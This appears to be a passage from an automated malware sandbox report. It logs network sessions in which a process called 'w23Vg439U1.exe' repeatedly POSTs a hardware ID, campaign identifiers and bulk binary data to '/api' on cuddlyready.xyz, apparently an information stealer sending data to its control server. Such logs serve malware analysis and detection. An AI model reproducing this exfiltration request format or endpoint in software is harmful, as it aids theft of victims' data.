2024-12-23 07:31:24 UTC	1369	IN	Data Raw: 42 5a 71 31 72 75 73 74 79 75 67 58 62 76 48 48 6b 5a 75 31 46 73 78 34 71 6e 6a 47 44 38 78 63 67 34 58 73 6e 35 74 70 6f 4f 70 59 6e 6a 58 32 7a 33 6d 32 6c 4b 74 75 38 4f 66 4d 68 39 51 47 78 48 32 7a 4b 65 34 76 6d 48 53 50 37 4d 6d 36 6f 30 6e 4e 6f 7a 32 71 6e 66 36 2f 44 66 36 38 48 30 4c 78 2f 37 57 72 6d 54 62 45 57 4a 35 30 33 77 72 70 5a 4b 66 46 37 4d 65 62 7a 65 32 6e 5a 5a 4b 4a 6d 76 74 63 37 74 30 58 50 38 33 37 67 4c 37 51 42 74 52 67 6e 6c 6a 75 4f 39 42 30 6a 36 53 6c 6d 6f 64 70 35 63 64 78 74 71 32 71 6a 78 48 43 6e 44 63 53 2f 64 2f 35 71 2f 6c 50 32 58 57 79 56 49 38 4b 73 57 52 6a 75 4b 33 6d 6c 6e 30 46 73 7a 58 47 6e 59 4b 53 4d 5a 4f 59 53 6c 72 52 31 72 44 65 73 52 37 6b 61 4c 35 30 36 69 2f 67 55 4b 2b 41 2b 61 4b 44 5a 65 6e Data Ascii: BZq1rustyugXbvHHkZu1Fsx4qnjGD8xcg4Xsn5tpoOpYnjX2z3m2lKtu8OfMh9QGxH2zKe4vmHSP7Mm6o0nNoz2qnf6/Df68H0Lx/7WrmTbEWJ503wrpZKfF7Mebze2nZZKJmvtc7t0XP837gL7QBtRgnljuO9B0j6Slmodp5cdxtq2qjxHCnDcS/d/5q/lP2XWyVI8KsWRjuK3mln0FszXGnYKSMZOYSlrR1rDesR7kaL506i/gUK+A+aKDZen
2024-12-23 07:31:24 UTC	1369	IN	Data Raw: 4c 62 65 43 59 75 67 4d 32 76 4d 68 72 47 7a 72 51 72 63 5a 4a 5a 34 30 68 66 41 4c 4a 4f 34 70 61 4b 66 57 66 58 62 4f 61 71 46 6e 71 63 56 32 70 41 62 52 74 48 62 70 4c 36 49 42 73 51 74 73 79 6e 75 6a 2b 52 49 69 73 6d 45 70 75 5a 4e 70 4f 73 6c 72 37 44 58 6f 7a 48 47 74 41 64 75 77 64 75 39 39 37 55 65 6b 45 79 47 59 4b 59 6a 2f 48 43 50 6b 4e 6d 71 67 32 33 74 32 33 47 36 73 62 71 4f 4d 4e 65 67 4d 7a 76 4d 68 72 45 7a 37 56 37 77 55 49 49 51 77 67 2f 63 50 49 2f 6c 37 4a 2b 62 4d 64 32 75 4f 50 37 70 39 76 38 74 6b 35 68 4b 57 74 48 57 73 4e 36 78 48 76 78 55 72 6c 44 57 51 38 52 38 68 35 6a 4a 67 6f 74 56 7a 65 73 70 6a 71 32 69 72 77 48 43 76 43 4e 6d 33 63 4f 4a 6d 34 77 48 34 55 79 75 4b 65 39 71 30 4f 44 58 71 4e 32 54 6d 77 6a 35 6a 6a 6d 43 Data Ascii: LbeCYugM2vMhrGzrQrcZJZ40hfALJO4paKfWfXbOaqFnqcV2pAbRtHbpL6IBsQtsynuj+RIismEpuZNpOslr7DXozHGtAduwdu997UekEyGYKYj/HCPkNmqg23t23G6sbqOMNegMzvMhrEz7V7wUIIQwg/cPI/l7J+bMd2uOP7p9v8tk5hKWtHWsN6xHvxUrlDWQ8R8h5jJgotVzespjq2irwHCvCNm3cOJm4wH4UyuKe9q0ODXqN2Tmwj5jjmC
2024-12-23 07:31:24 UTC	1369	IN	Data Raw: 44 76 77 53 2f 61 34 62 2b 6c 6f 2b 67 4f 44 45 43 4b 63 50 4a 53 30 42 68 47 6e 65 32 61 38 6e 53 68 44 31 79 65 72 59 65 69 55 4f 37 30 4d 31 72 52 6a 2b 6d 6a 67 55 4c 30 65 49 4c 41 30 68 65 49 61 49 65 6f 71 59 4f 72 57 66 54 71 41 4a 36 74 31 36 4a 51 37 68 77 7a 41 73 46 62 76 66 75 55 42 2b 46 4d 72 68 48 76 61 74 43 64 75 2b 7a 68 35 70 64 4a 68 52 49 34 2f 74 56 50 6f 78 32 32 76 47 39 57 6c 63 75 46 6a 2f 58 2f 32 53 33 6a 41 61 64 43 6d 53 7a 47 70 4a 46 62 6f 6e 58 45 36 6c 6c 36 31 4c 62 36 4d 49 2f 70 46 6c 71 45 35 74 43 2b 72 51 71 51 42 4b 70 45 74 67 62 4d 6e 45 4d 34 74 59 36 48 4e 64 32 33 42 4a 2b 49 74 70 34 77 6a 6b 55 76 66 74 47 4c 39 65 65 46 52 73 56 4d 54 33 48 75 61 74 45 46 75 33 44 68 6e 71 4e 70 6d 61 34 4e 41 75 6d 65 76 Data Ascii: DvwS/a4b+lo+gODECKcPJS0BhGne2a8nShD1yerYeiUO70M1rRj+mjgUL0eILA0heIaIeoqYOrWfTqAJ6t16JQ7hwzAsFbvfuUB+FMrhHvatCdu+zh5pdJhRI4/tVPox22vG9WlcuFj/X/2S3jAadCmSzGpJFbonXE6ll61Lb6MI/pFlqE5tC+rQqQBKpEtgbMnEM4tY6HNd23BJ+Itp4wjkUvftGL9eeFRsVMT3HuatEFu3DhnqNpma4NAumev
2024-12-23 07:31:24 UTC	1369	IN	Data Raw: 72 62 76 44 58 69 5a 4f 78 47 70 67 55 33 33 6a 4f 42 37 67 4d 51 31 78 42 6c 6f 4e 70 71 66 63 68 42 6a 43 33 6d 6a 48 54 6f 55 2b 2f 7a 4d 61 78 51 6f 67 47 75 55 33 54 53 44 6f 48 36 46 79 6e 2f 4b 69 53 4f 2f 6b 70 41 6a 45 75 72 65 4f 72 34 66 4c 67 61 33 62 35 31 72 43 47 73 52 2f 5a 4c 66 4e 78 37 68 75 56 5a 64 72 6c 70 4d 76 4f 4f 4a 79 71 63 65 4f 4a 30 36 4e 6f 37 38 46 6d 59 38 32 75 73 4e 36 77 47 74 51 45 2b 6c 44 69 55 39 31 34 51 31 78 78 6e 6f 64 78 6d 61 74 6c 6f 6b 6c 4f 39 7a 33 57 6d 44 4d 43 69 4f 61 49 76 34 77 48 75 4b 6d 7a 61 65 37 32 36 57 54 61 70 59 79 6d 54 33 6e 35 30 79 58 47 39 49 49 2f 43 66 4b 6b 64 78 71 52 32 72 43 47 73 52 2f 5a 4c 66 74 78 37 68 75 56 5a 64 72 6c 70 4d 76 4f 4f 4a 79 71 63 65 4f 4a 30 36 4e 6f 37 38 Data Ascii: rbvDXiZOxGpgU33jOB7gMQ1xBloNpqfchBjC3mjHToU+/zMaxQogGuU3TSDoH6Fyn/KiSO/kpAjEureOr4fLga3b51rCGsR/ZLfNx7huVZdrlpMvOOJyqceOJ06No78FmY82usN6wGtQE+lDiU914Q1xxnodxmatloklO9z3WmDMCiOaIv4wHuKmzae726WTapYymT3n50yXG9II/CfKkdxqR2rCGsR/ZLftx7huVZdrlpMvOOJyqceOJ06No78
2024-12-23 07:31:24 UTC	1369	IN	Data Raw: 32 36 79 33 4d 52 71 41 51 62 4e 78 37 6a 72 52 42 62 75 67 78 65 61 76 53 64 7a 62 4a 66 61 73 74 35 6f 78 31 36 46 4f 57 73 6e 50 38 59 75 4e 47 2b 68 55 69 6e 48 75 64 75 67 42 75 2f 33 73 78 39 5a 4d 77 61 49 34 2f 37 43 71 72 33 6d 6d 75 43 4d 43 77 50 74 4a 52 77 56 4f 78 41 79 2f 51 43 6f 2f 77 44 7a 76 71 4b 32 36 59 34 31 31 6f 79 58 65 76 4c 35 6e 61 65 4b 67 46 30 66 4d 33 72 48 65 73 47 66 59 2b 50 70 55 72 67 62 52 58 62 75 56 37 4d 65 62 51 59 6e 33 65 5a 4f 42 71 73 73 73 37 74 30 58 50 38 32 2b 73 4e 37 38 50 39 67 46 73 79 6e 76 46 2b 68 51 76 36 6a 56 71 74 4d 39 32 65 64 68 6b 36 31 4f 57 34 57 6d 76 47 39 58 78 53 4f 46 72 2b 6c 53 31 41 79 75 73 42 61 2f 6d 48 6a 37 71 65 55 57 68 30 48 78 45 38 46 43 39 61 72 69 4f 58 61 73 64 31 66 Data Ascii: 26y3MRqAQbNx7jrRBbugxeavSdzbJfast5ox16FOWsnP8YuNG+hUinHudugBu/3sx9ZMwaI4/7Cqr3mmuCMCwPtJRwVOxAy/QCo/wDzvqK26Y411oyXevL5naeKgF0fM3rHesGfY+PpUrgbRXbuV7MebQYn3eZOBqsss7t0XP82+sN78P9gFsynvF+hQv6jVqtM92edhk61OW4WmvG9XxSOFr+lS1AyusBa/mHj7qeUWh0HxE8FC9ariOXasd1f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49706	172.67.150.173	443	3600	C:\Users\user\Desktop\w23Vg439U1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:31:25 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MV6Y8KB4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12786 Host: cuddlyready.xyz
2024-12-23 07:31:25 UTC	12786	OUT	Data Raw: 2d 2d 4d 56 36 59 38 4b 42 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 41 43 37 38 46 39 33 34 30 43 38 36 38 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 56 36 59 38 4b 42 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 56 36 59 38 4b 42 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4d 56 36 59 38 4b 42 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --MV6Y8KB4Content-Disposition: form-data; name="hwid"29AC78F9340C868DAC8923850305D13E--MV6Y8KB4Content-Disposition: form-data; name="pid"2--MV6Y8KB4Content-Disposition: form-data; name="lid"PsFKDg--pablo--MV6Y8KB4Content-Disposit
2024-12-23 07:31:26 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ukop6nvsic1j9f28pln0oebltr; expires=Fri, 18 Apr 2025 01:18:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BS6T5RgTDSev1cQlEyALrSqAnIfz6eJm68eF%2FzIbd2nyPx1qvf1TrLpQW7pkEGXKhy4qAYJVicZkPxkZQWjINVEVUpOoVSAEHAckUjgjH2NCFsf7YRs4LHgivOX4UN21lVc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66a6e79ba78ce2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1796&min_rtt=1791&rtt_var=683&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13715&delivery_rate=1589548&cwnd=202&unsent_bytes=0&cid=9ec0f1f901404ac0&ts=926&x=0"
2024-12-23 07:31:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:31:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49707	172.67.150.173	443	3600	C:\Users\user\Desktop\w23Vg439U1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:31:28 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=I8IZII5PARX0JKDWX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15069 Host: cuddlyready.xyz
2024-12-23 07:31:28 UTC	15069	OUT	Data Raw: 2d 2d 49 38 49 5a 49 49 35 50 41 52 58 30 4a 4b 44 57 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 41 43 37 38 46 39 33 34 30 43 38 36 38 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 49 38 49 5a 49 49 35 50 41 52 58 30 4a 4b 44 57 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 38 49 5a 49 49 35 50 41 52 58 30 4a 4b 44 57 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --I8IZII5PARX0JKDWXContent-Disposition: form-data; name="hwid"29AC78F9340C868DAC8923850305D13E--I8IZII5PARX0JKDWXContent-Disposition: form-data; name="pid"2--I8IZII5PARX0JKDWXContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-23 07:31:28 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:31:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b6lsv3378ukfgkq2una84i4dcn; expires=Fri, 18 Apr 2025 01:18:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zYuJI6rS0P4%2Fgn6ceRmZUbqGUunCLCZBJzx8IpEO70uLh8%2FMjfxzgXzuXG8Sa2qALXtoaNDBSkFlrCE2tvkOUUpYs5pyQXFDdzYRStT41iUvFOamG986VEUJNVYcDAZJuuU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66a6f61f583354-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1781&min_rtt=1772&rtt_var=682&sent=12&recv=21&lost=0&retrans=0&sent_bytes=2835&recv_bytes=16007&delivery_rate=1583514&cwnd=114&unsent_bytes=0&cid=85482c77de940fb0&ts=829&x=0"
2024-12-23 07:31:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:31:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49708	172.67.150.173	443	3600	C:\Users\user\Desktop\w23Vg439U1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:31:30 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WRNBP3MRUAC47MQRC4X User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20248 Host: cuddlyready.xyz
2024-12-23 07:31:30 UTC	15331	OUT	Data Raw: 2d 2d 57 52 4e 42 50 33 4d 52 55 41 43 34 37 4d 51 52 43 34 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 41 43 37 38 46 39 33 34 30 43 38 36 38 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 57 52 4e 42 50 33 4d 52 55 41 43 34 37 4d 51 52 43 34 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 57 52 4e 42 50 33 4d 52 55 41 43 34 37 4d 51 52 43 34 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --WRNBP3MRUAC47MQRC4XContent-Disposition: form-data; name="hwid"29AC78F9340C868DAC8923850305D13E--WRNBP3MRUAC47MQRC4XContent-Disposition: form-data; name="pid"3--WRNBP3MRUAC47MQRC4XContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-23 07:31:30 UTC	4917	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8
2024-12-23 07:31:31 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f61a23qt5g2go05nqrchodvsgv; expires=Fri, 18 Apr 2025 01:18:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=90xQjuRJHtfuDXWZl5s5mwD9D4kbYs4fVJPspZl18xusPYpdqNOXHdKTuf8Mf2T7fTdHE1%2BJn6vhMSHOF%2FCCHMRKatCgtbhIix7cJ%2BEjSfkyH%2BQTiuCGajQuw0KpQlLkmUc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66a7044e270f97-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1476&min_rtt=1472&rtt_var=561&sent=16&recv=25&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21210&delivery_rate=1935056&cwnd=245&unsent_bytes=0&cid=8314d5dbf6687e7e&ts=960&x=0"
2024-12-23 07:31:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:31:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49709	172.67.150.173	443	3600	C:\Users\user\Desktop\w23Vg439U1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:31:32 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EK106EC5EBGUZ28BZ98 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1253 Host: cuddlyready.xyz
2024-12-23 07:31:32 UTC	1253	OUT	Data Raw: 2d 2d 45 4b 31 30 36 45 43 35 45 42 47 55 5a 32 38 42 5a 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 41 43 37 38 46 39 33 34 30 43 38 36 38 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 45 4b 31 30 36 45 43 35 45 42 47 55 5a 32 38 42 5a 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 4b 31 30 36 45 43 35 45 42 47 55 5a 32 38 42 5a 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --EK106EC5EBGUZ28BZ98Content-Disposition: form-data; name="hwid"29AC78F9340C868DAC8923850305D13E--EK106EC5EBGUZ28BZ98Content-Disposition: form-data; name="pid"1--EK106EC5EBGUZ28BZ98Content-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-23 07:31:33 UTC	1128	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:31:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nf5miqgp5h3urju1ec978is1cl; expires=Fri, 18 Apr 2025 01:18:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I4qODiGG3sAOc6cF9%2BG1EMHdiexS6XwmT6QhPnWNxTDJZj%2Fh7r%2BFeQvhPkBLPBv%2FqP7ajkUE9CbNxx4wANdCvheuUvw7BDUHeoy%2Bq77DEpLTykt6aehaMFEOLHmH6ZRgFqo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66a7141b924319-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1746&min_rtt=1743&rtt_var=660&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2170&delivery_rate=1649717&cwnd=233&unsent_bytes=0&cid=c132682649d9ec0e&ts=815&x=0"
2024-12-23 07:31:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:31:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49710	172.67.150.173	443	3600	C:\Users\user\Desktop\w23Vg439U1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:31:35 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Q9L5HS7Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570665 Host: cuddlyready.xyz
2024-12-23 07:31:35 UTC	15331	OUT	Data Raw: 2d 2d 51 39 4c 35 48 53 37 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 41 43 37 38 46 39 33 34 30 43 38 36 38 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 51 39 4c 35 48 53 37 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 39 4c 35 48 53 37 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 51 39 4c 35 48 53 37 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --Q9L5HS7YContent-Disposition: form-data; name="hwid"29AC78F9340C868DAC8923850305D13E--Q9L5HS7YContent-Disposition: form-data; name="pid"1--Q9L5HS7YContent-Disposition: form-data; name="lid"PsFKDg--pablo--Q9L5HS7YContent-Disposit
2024-12-23 07:31:35 UTC	15331	OUT	Data Raw: 4b 03 9c 37 4b ff bb af e0 ff fb 92 01 e8 15 dd 60 16 07 12 2d a8 c5 5c c0 ae fd b5 9c c9 b4 c9 1c 8d f5 4d 61 97 50 fc b6 a1 78 3b 29 21 07 e3 e0 ad 38 73 e7 9e 5f 4d 4f 6e 40 04 5c 4c cb 76 f6 c4 81 36 65 de 1f 16 e8 f8 6d 79 ce d5 90 92 06 4c dd 26 a8 d4 a1 05 6c be cd 8c 4c 7a 67 ce 16 eb 93 a3 bb f0 a0 b8 d1 88 94 27 8b 53 1a fc ef ba c9 d4 3a 2b 45 ed 61 58 81 55 09 ec 3c f8 3f 2a ab 30 e5 67 31 73 14 24 26 08 72 57 e6 36 bb 88 f3 48 2b ca 0d dc c5 1c df 50 4d 61 32 89 86 78 1d e1 0d b9 95 4f 21 b0 f1 b6 d2 07 91 a6 58 d8 ff 27 b4 b6 15 a7 6a 76 c7 3a ac 52 d9 01 22 4f 34 37 76 a6 75 f2 27 cc af d6 d5 d9 c7 04 5d 68 4f 8f b6 8a 8c f8 82 3b be 9b 86 4a ad 3c d3 d9 99 bf 53 a9 6c 1d d6 f9 9e cf b6 6d a4 21 b0 07 e2 7f f0 25 0c 58 af 19 b8 a5 ed 34 42 Data Ascii: K7K`-\MaPx;)!8s_MOn@\Lv6emyL&lLzg'S:+EaXU<?*0g1s$&rW6H+PMa2xO!X'jv:R"O47vu']hO;J<Slm!%X4B
2024-12-23 07:31:35 UTC	15331	OUT	Data Raw: cd 45 9f 8e de ce f8 f5 b8 9a 45 85 b6 df 65 76 16 ff 35 d8 6d 2c 00 6b 15 3b 62 44 99 4e 79 68 24 df b7 8a 6a 36 a5 de e7 ca 5e 64 48 6c 0e 6b 06 e0 2e 99 b3 83 05 c9 42 fc 50 12 78 f9 3d fa 89 6a 99 21 3d 77 47 8b f1 c6 f6 a3 aa 49 73 88 bc ab b6 ce 61 65 77 62 1f 6f 43 82 ed 2a b0 63 88 4b 4a d9 a9 ea cf 2f 63 47 23 99 ea a5 43 e9 62 66 ad 0c 79 68 d2 a8 91 dc a2 d7 44 49 5a d6 ff 0b 2c 85 63 92 14 d4 26 45 a8 04 f6 8d 8f 07 8e dd 1c c0 db e7 24 81 a5 cc 50 d2 cc 13 61 d2 d4 f4 ea c4 1b 4a 2d bf 62 6f 7a 69 8f fe c6 f4 71 2a 12 5b 08 5b 54 c8 57 4f ca 38 39 d8 af 5a 4c 3d ec 12 34 87 23 4d 06 d5 20 47 3a cb b1 d6 e1 67 78 19 eb 06 f1 a0 c9 0f 75 1e 